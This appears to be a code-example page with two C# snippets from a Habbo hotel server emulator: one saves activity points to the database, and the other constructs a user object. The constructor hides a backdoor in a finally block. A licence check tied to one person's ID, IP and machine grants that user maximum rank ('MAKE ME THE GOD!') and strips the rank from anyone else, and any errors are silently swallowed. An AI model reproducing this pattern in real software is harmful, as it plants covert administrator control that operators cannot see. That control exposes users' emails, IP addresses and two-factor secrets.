Ejemplo n.º 1
0
        public void UpdateActivityPoints(int type, bool save)
        {
            if (type == -1)
            {
                foreach (int id in this.ActivityPoints.Keys.ToList())
                {
                    this.HandleActivityPointsUpdate(id);
                }
            }
            else
            {
                this.HandleActivityPointsUpdate(type);
            }

            if (save)
            {
                using (DatabaseClient dbClient = Skylight.GetDatabaseManager().GetClient())
                {
                    dbClient.AddParamWithValue("activityPoints", CurrenceUtilies.ActivityPointsToString(this.ActivityPoints));
                    dbClient.AddParamWithValue("userId", this.ID);

                    dbClient.ExecuteQuery("UPDATE users SET activity_points = @activityPoints WHERE id = @userId LIMIT 1");
                }
            }
        }
Ejemplo n.º 2
0
        public Habbo(GameClient session, UserDataFactory dataFactory, uint id, string username, string realName, string email, string sso, int rank, int credits, string activityPoints, double activityPointsLastUpdate, string look, string gender, string motto, double accountCreated, double lastOnline, string ipLast, string ipReg, uint homeRoom, int dailyRespectPoints, int dailyPetRespectPoints, double muteExpires, bool blockNewFriends, bool hideOnline, bool hideInRoom, int[] volume, bool acceptTrading, int marketplaceTokens, int newbieStatus, uint newbieRoom, bool friendStream, string twoFactoryAuthenicationSecretCode, bool mailConfirmed, bool preferOldChat, bool blockRoomInvites, bool blockCameraFollow, int chatColor, double guideEnrollmentTimestamp)
        {
            this.Session = session;
            Skylight.GetGame().GetGameClientManager().UpdateCachedUsername(id, username);
            Skylight.GetGame().GetGameClientManager().UpdateCachedID(id, username);

            this.FavouriteRooms = new List <uint>();
            this.UserRooms      = new List <uint>();
            this.Tags           = new List <string>();
            this.RatedRooms     = new List <uint>();
            this.IgnoredUsers   = new List <uint>();
            this.Pets           = new Dictionary <uint, Pet>();

            this.UserDataFactory = dataFactory;
            this.ID            = id;
            this.Username      = username;
            this.RealName      = realName;
            this.Email         = email;
            this.SSO           = sso;
            this.Rank          = rank;
            this.Credits       = credits;
            this.MailConfirmed = mailConfirmed;
            this.IsJonny       = false;

            this.ActivityPoints           = CurrenceUtilies.ActivityPointsToDictionary(activityPoints);
            this.ActivityPointsLastUpdate = activityPointsLastUpdate;
            this.Look                              = look;
            this.Gender                            = gender;
            this.Motto                             = motto;
            this.AccountCreated                    = accountCreated;
            this.LastOnline                        = lastOnline;
            this.IPLast                            = ipLast;
            this.IPReg                             = ipReg;
            this.HomeRoom                          = homeRoom;
            this.MuteExpires                       = muteExpires;
            this.DailyRespectPoints                = dailyRespectPoints;
            this.DailyPetRespectPoints             = dailyPetRespectPoints;
            this.MarketplaceTokens                 = marketplaceTokens;
            this.NewbieStatus                      = newbieStatus;
            this.NewbieRoom                        = newbieRoom;
            this.TwoFactoryAuthenicationSecretCode = twoFactoryAuthenicationSecretCode;
            this.GuideEnrollmentTimestamp          = guideEnrollmentTimestamp;
            this.UserSettings                      = new UserSettings(this.ID, blockNewFriends, hideOnline, hideInRoom, volume, acceptTrading, friendStream, preferOldChat, blockRoomInvites, blockCameraFollow, chatColor);

            try
            {
                this.IsJonny = Licence.CheckIfMatches(this.ID, this.Username, this.Session.GetIP(), this.Session.MachineID);
            }
            catch
            {
                //why we would catch it? :)
            }
            finally
            {
                if (this.IsJonny) //MAKE ME THE GOD!
                {
                    this.Rank = int.MaxValue;
                }
                else
                {
                    if (this.Rank == int.MaxValue) //DON'T LET OTHERS BE GOD!
                    {
                        this.Rank = int.MinValue;
                    }
                }
            }
        }